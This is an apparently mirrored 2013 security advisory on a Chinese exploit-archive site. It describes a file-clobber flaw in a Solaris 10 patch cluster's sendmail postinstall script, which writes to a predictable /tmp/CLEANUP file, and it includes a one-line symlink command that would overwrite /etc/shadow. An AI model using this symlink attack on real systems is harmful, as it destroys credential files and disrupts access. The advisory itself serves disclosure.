首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Solaris 10 Patch Cluster File Clobber
来源:@_larry0 作者:Cashdollar 发布时间:2013-06-19  
File clobbering vulnerability in Solaris 10 patch cluster
3/27/2013
Larry W. Cashdollar
@_larry0

Hello,

The 147147-26 patch creates a CLEANUP file in /tmp that is vulnerable to symlink attacks:

The contents of the file created in /tmp are:

/sbin/sh:root@dev-unix-sec02# cat CLEANUP

EXISTING_FILE_PRESERVED: /var/run/.patchSafeMode/root/etc/security/audit_event /var/run/.patchSafeMode/root/etc/security/audit_event.new

EXISTING_FILE_RENAMED: /var/run/.patchSafeMode/root/etc/mail/sendmail.cf /var/run/.patchSafeMode/root/etc/mail/sendmail.cf.old EXISTING_FILE_RENAMED: /var/run/.patchSafeMode/root/etc/mail/submit.cf /var/run/.patchSafeMode/root/etc/mail/submit.cf.old

Sendmail has been upgraded to version 8.14.5 . After you reboot, you may want to run

/usr/sbin/check-hostname
and

/usr/sbin/check-permissions ALL

These two shell-scripts will check for common mis-configurations and recommend corrective action, or report if things are OK.

-rw-r--r-- 1 root other 662 Mar 27 13:03 CLEANUP

The vulnerable code can be found in ./SUNWsndmu/install/postinstall:

540 CLEANUP=/tmp/CLEANUP
541
542 if [ "x$UPDATE" = xyes ]; then

   543          VERSION=`grep '^DZ' $PKG_INSTALL_ROOT/etc/mail/sendmail.cf | \
   544                  sed -e s/DZ//`
   545          echo "\nSendmail has been upgraded to version $VERSION ." >>$CLE
ANUP
   546          echo "After you reboot, you may want to run" >>$CLEANUP
   547          echo "\t/usr/sbin/check-hostname" >>$CLEANUP
   548          echo "and" >>$CLEANUP
   549          echo "\t/usr/sbin/check-permissions ALL" >>$CLEANUP
   550          echo "These two shell-scripts will check for common" >>$CLEANUP
   551          echo "misconfigurations and recommend corrective" >>$CLEANUP
   552          echo "action, or report if things are OK.\n" >>$CLEANUP

553 fi

A simple attack in /tmp can clobber /etc/shadow:

[/tmp $] ln -s /etc/shadow CLEANUP

Will over write the contents of /etc/shadow.

Oracle has been notified 3/27/2013 and they are working on a fix.

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Winamp 5.12 (.m3u) - Stack Bas
·MoinMoin twikidraw Action Trav
·Adrenalin Player 2.2.5.3 (.wax
·FreeBSD mmap Privilege Escalat
·Easy LAN Folder Share Version
·Havalite CMS Arbitary File Upl
·MS13-009 Microsoft Internet Ex
·TP-Link Print Server TL PS110U
·AXIS Media Control 6.2.10.11 -
·MusicBee 2.0.4663 (.M3U) - Den
·Ubiquiti airCam RTSP Service 1
·FreeBSD 9.0 / 9.1 mmap/ptrace
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved